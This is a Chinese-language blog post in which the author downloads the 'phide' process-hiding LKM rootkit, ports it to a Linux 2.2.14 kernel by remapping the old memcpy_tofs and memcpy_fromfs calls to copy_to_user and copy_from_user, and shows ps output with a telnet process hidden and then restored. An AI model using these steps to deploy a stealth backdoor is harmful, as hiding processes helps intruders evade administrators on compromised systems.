Total Pageviews

Monday 12 March 2012

隐藏进程的LKM后门

理解了一些基本概念后,就想找个现成的来玩玩。THC里面的提到的EXAMPLE我没有仔细看,直接到
PACKETSTROM找了个基本的LKM,功能很简单,就是可以隐藏进程。。准备在自己的2.2.14上看看
下载地 http://packetstorm.securify.com/UNIX/penetration/rootkits/phide.tar.gz拉回来以后,看了看README,是FOR 2.0系列内核的。编译很简单,一路顺风。。。
但是在INSMOD的时候。
[root@gzlinux phide]# insmod phide_mod.o
phide_mod.o: unresolved symbol memcpy_tofs
phide_mod.o: unresolved symbol memcpy_fromfs
我看他的源码中调用了这两个函数
[root@gzlinux phide]# cat phide_mod.c|grep memcpy_tofs
memcpy_tofs(dirp, dirp_kern, tmp);
我个人估计是因为2.2.14的KERNEL里面没有这个FUNCTION,或者是我用的MODULE里的FUNCTI
ON和KERNEL ENCODE的不一样,所以才没有办法RESOLVE,但是我把KERNEL和DMODEVERSIONS都重新定义后
[root@gzlinux phide]# gcc -c -fomit-frame-pointer -O2 -D__KERNEL__ -DMODULE -DM
ODVERSIONS phide_mod.c -include /usr/src/linux-2.2.14/include/linux/modversions
..h
phide_mod.c:10: warning: `__KERNEL__’ redefined
*Initialization*:1: warning: this is the location of the previous definition
phide_mod.c:11: warning: `MODULE’ redefined
*Initialization*:1: warning: this is the location of the previous definition
[root@gzlinux phide]# insmod phide_mod.o
phide_mod.o: unresolved symbol memcpy_tofs
phide_mod.o: unresolved symbol memcpy_fromfs
还是不行。。。这我可不明白了。。。
仔细翻翻了内核的源码,原来是个只有在2.0下才有的函数,原来的头文件是asm/segment.h.
现在这个函数被copy_to_user替代了。可以看看现在的segment.h,
里面几乎没有任何内容,现在要包含/asm/uaccess.h文件。
现在在2.2内核中找到的memcpy_tofs都是在一些非常老旧
的driver里才出现,其实根本就不能用了。。。。/这里感谢YAWL指点,我对他的XX有如。。。/
呵呵,在这中情况下,只好报着试一试的心态。。改改phide_mod.c
首先加个头文件#include
在重新定义一下这两个函数
#define memcpy_fromfs copy_from_user /换成2.2.14内核下的/
#define memcpy_tofs copy_to_user /换成2.2.14内核下的/
呵呵,编译后顺利加载。。:)
下面是实例。。/我在PTS/0上执行LKM,PTS/1上启动想隐藏的进程,这里是TELNET/
[root@gzlinux phide]# ps -a
PID TTY TIME CMD
26094 pts/0 00:00:01 bash
26433 pts/0 00:00:01 ping
26446 pts/1 00:00:00 bash
26468 pts/1 00:00:00 telnet
26472 pts/0 00:00:00 ps
[root@gzlinux phide]# ./phide +26468 /欲隐藏的进程号/
[root@gzlinux phide]# ps -a
PID TTY TIME CMD
26094 pts/0 00:00:01 bash
26433 pts/0 00:00:02 ping
26446 pts/1 00:00:00 bash
26474 pts/0 00:00:00 ps
[root@gzlinux phide]# ./phide -26468
[root@gzlinux phide]# ps -a
PID TTY TIME CMD
26094 pts/0 00:00:01 bash
26433 pts/0 00:00:02 ping
26446 pts/1 00:00:00 bash
26468 pts/1 00:00:00 telnet
26475 pts/2 00:00:00 bash
26498 pts/0 00:00:00 ps
[root@gzlinux phide]#
至此一切PASS。。。
呵呵.

No comments:

Post a Comment